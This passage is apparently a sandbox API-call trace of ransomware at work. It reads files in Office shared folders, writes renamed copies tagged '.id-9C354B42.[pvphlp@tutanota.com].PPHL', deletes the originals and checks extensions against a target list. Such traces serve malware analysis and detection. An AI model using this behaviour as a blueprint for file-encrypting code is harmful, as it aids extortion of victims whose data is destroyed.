lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.469] SetEndOfFile (hFile=0x1ec) returned 1 [0074.469] CloseHandle (hObject=0x1ec) returned 1 [0074.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.469] SetEndOfFile (hFile=0x1f8) returned 1 [0074.470] CloseHandle (hObject=0x1f8) returned 1 [0074.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.471] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0074.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.471] lstrlenW (lpString=".doc") returned 4 [0074.471] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.471] lstrlenW (lpString=".docx") returned 5 [0074.471] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.471] lstrlenW (lpString=".pdf") returned 4 [0074.472] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.472] lstrlenW (lpString=".xls") returned 4 [0074.472] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.472] lstrlenW (lpString=".xlsx") returned 5 [0074.472] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.472] lstrlenW (lpString=".ppt") returned 4 [0074.472] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.472] lstrlenW (lpString=".zip") returned 4 [0074.472] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.472] lstrlenW (lpString=".rar") returned 4 [0074.472] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString=".bz2") returned 4 [0074.473] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString=".7z") returned 3 [0074.473] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.473] lstrlenW (lpString=".dbf") returned 4 [0074.473] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.473] lstrlenW (lpString=".1cd") returned 4 [0074.473] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.473] lstrlenW (lpString=".jpg") returned 4 [0074.473] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.473] lstrlenW (lpString=".doc") returned 4 [0074.473] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString=".docx") returned 5 [0074.473] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.473] lstrlenW (lpString=".pdf") returned 4 [0074.473] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString=".xls") returned 4 [0074.473] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.473] lstrlenW (lpString=".xlsx") returned 5 [0074.473] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.474] lstrlenW (lpString=".ppt") returned 4 [0074.474] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.474] lstrlenW (lpString=".zip") returned 4 [0074.474] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.474] lstrlenW (lpString=".rar") returned 4 [0074.474] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.474] lstrlenW (lpString=".bz2") returned 4 [0074.474] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.474] lstrlenW (lpString=".7z") returned 3 [0074.474] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.474] lstrlenW (lpString=".dbf") returned 4 [0074.474] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.474] lstrlenW (lpString=".1cd") returned 4 [0074.474] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0074.474] lstrlenW (lpString=".jpg") returned 4 [0074.474] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.474] lstrcmpiW (lpString1=".gif", lpString2=".PPHL") returned -1 [0074.474] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0074.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.592] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=4587) returned 1 [0074.592] CloseHandle (hObject=0x20c) returned 1 [0074.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0074.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString=".doc") returned 4 [0074.593] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0074.593] lstrlenW (lpString=".docx") returned 5 [0074.593] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0074.593] lstrlenW (lpString=".pdf") returned 4 [0074.593] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString=".xls") returned 4 [0074.593] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString=".xlsx") returned 5 [0074.593] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0074.593] lstrlenW (lpString=".ppt") returned 4 [0074.593] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString=".zip") returned 4 [0074.593] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString=".rar") returned 4 [0074.593] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString=".bz2") returned 4 [0074.593] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0074.593] lstrlenW (lpString=".7z") returned 3 [0074.593] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString=".dbf") returned 4 [0074.593] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString=".1cd") returned 4 [0074.593] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString=".jpg") returned 4 [0074.593] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.594] lstrlenW (lpString=".doc") returned 4 [0074.594] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0074.594] lstrlenW (lpString=".docx") returned 5 [0074.594] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0074.594] lstrlenW (lpString=".pdf") returned 4 [0074.594] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0074.594] lstrlenW (lpString=".xls") returned 4 [0074.594] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0074.594] lstrlenW (lpString=".xlsx") returned 5 [0074.594] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0074.594] lstrlenW (lpString=".ppt") returned 4 [0074.594] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.594] lstrlenW (lpString=".zip") returned 4 [0074.594] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0074.594] lstrlenW (lpString=".rar") returned 4 [0074.594] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0074.594] lstrlenW (lpString=".bz2") returned 4 [0074.594] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0074.594] lstrlenW (lpString=".7z") returned 3 [0074.594] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.594] lstrlenW (lpString=".dbf") returned 4 [0074.594] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.594] lstrlenW (lpString=".1cd") returned 4 [0074.594] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0074.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0074.594] lstrlenW (lpString=".jpg") returned 4 [0074.594] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0074.595] lstrcmpiW (lpString1=".gif", lpString2=".PPHL") returned -1 [0074.595] lstrlenW (lpString="Connectivity.gif") returned 16 [0074.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.595] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=2319) returned 1 [0074.595] CloseHandle (hObject=0x20c) returned 1 [0074.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0074.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.595] lstrlenW (lpString=".doc") returned 4 [0074.595] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0074.595] lstrlenW (lpString=".docx") returned 5 [0074.595] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0074.595] lstrlenW (lpString=".pdf") returned 4 [0074.595] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0074.595] lstrlenW (lpString=".xls") returned 4 [0074.596] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0074.596] lstrlenW (lpString=".xlsx") returned 5 [0074.596] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0074.596] lstrlenW (lpString=".ppt") returned 4 [0074.596] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.596] lstrlenW (lpString=".zip") returned 4 [0074.596] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0074.596] lstrlenW (lpString=".rar") returned 4 [0074.596] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0074.596] lstrlenW (lpString=".bz2") returned 4 [0074.596] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0074.596] lstrlenW (lpString=".7z") returned 3 [0074.596] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.596] lstrlenW (lpString=".dbf") returned 4 [0074.596] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0074.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString=".1cd") returned 4 [0074.597] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString=".jpg") returned 4 [0074.597] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString=".doc") returned 4 [0074.597] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0074.597] lstrlenW (lpString=".docx") returned 5 [0074.597] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0074.597] lstrlenW (lpString=".pdf") returned 4 [0074.597] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString=".xls") returned 4 [0074.597] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString=".xlsx") returned 5 [0074.597] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0074.597] lstrlenW (lpString=".ppt") returned 4 [0074.597] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString=".zip") returned 4 [0074.597] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString=".rar") returned 4 [0074.597] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0074.597] lstrlenW (lpString=".bz2") returned 4 [0074.597] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0074.597] lstrlenW (lpString=".7z") returned 3 [0074.597] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0074.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.597] lstrlenW (lpString=".dbf") returned 4 [0074.597] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0074.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.598] lstrlenW (lpString=".1cd") returned 4 [0074.598] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0074.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0074.598] lstrlenW (lpString=".jpg") returned 4 [0074.598] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0074.598] lstrcmpiW (lpString1=".ini", lpString2=".PPHL") returned -1 [0074.598] lstrlenW (lpString="Desktop.ini") returned 11 [0074.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.598] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=645) returned 1 [0074.598] CloseHandle (hObject=0x20c) returned 1 [0074.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0074.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.598] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.599] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.599] GetLastError () returned 0x0 [0074.599] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x285, lpOverlapped=0x0) returned 1 [0074.600] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x290, lpOverlapped=0x0) returned 1 [0074.601] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0074.601] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.601] SetEndOfFile (hFile=0x1ec) returned 1 [0074.601] CloseHandle (hObject=0x1ec) returned 1 [0074.601] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.601] SetEndOfFile (hFile=0x20c) returned 1 [0074.605] CloseHandle (hObject=0x20c) returned 1 [0074.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x26) returned 1 [0074.605] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0074.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.605] lstrlenW (lpString=".doc") returned 4 [0074.605] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.605] lstrlenW (lpString=".docx") returned 5 [0074.605] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.605] lstrlenW (lpString=".pdf") returned 4 [0074.605] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0074.605] lstrlenW (lpString=".xls") returned 4 [0074.605] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0074.605] lstrlenW (lpString=".xlsx") returned 5 [0074.605] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0074.605] lstrlenW (lpString=".ppt") returned 4 [0074.606] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString=".zip") returned 4 [0074.606] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString=".rar") returned 4 [0074.606] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString=".bz2") returned 4 [0074.606] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.606] lstrlenW (lpString=".7z") returned 3 [0074.606] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString=".dbf") returned 4 [0074.606] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString=".1cd") returned 4 [0074.606] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString=".jpg") returned 4 [0074.606] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.606] lstrlenW (lpString=".doc") returned 4 [0074.606] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.606] lstrlenW (lpString=".docx") returned 5 [0074.606] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.606] lstrlenW (lpString=".pdf") returned 4 [0074.606] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString=".xls") returned 4 [0074.606] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString=".xlsx") returned 5 [0074.606] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0074.606] lstrlenW (lpString=".ppt") returned 4 [0074.606] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0074.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.607] lstrlenW (lpString=".zip") returned 4 [0074.607] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0074.607] lstrlenW (lpString=".rar") returned 4 [0074.607] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0074.607] lstrlenW (lpString=".bz2") returned 4 [0074.607] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.607] lstrlenW (lpString=".7z") returned 3 [0074.607] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.607] lstrlenW (lpString=".dbf") returned 4 [0074.607] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.607] lstrlenW (lpString=".1cd") returned 4 [0074.607] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0074.607] lstrlenW (lpString=".jpg") returned 4 [0074.607] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0074.607] lstrcmpiW (lpString1=".emf", lpString2=".PPHL") returned -1 [0074.607] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0074.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0074.607] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=3792) returned 1 [0074.608] CloseHandle (hObject=0x20c) returned 1 [0074.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 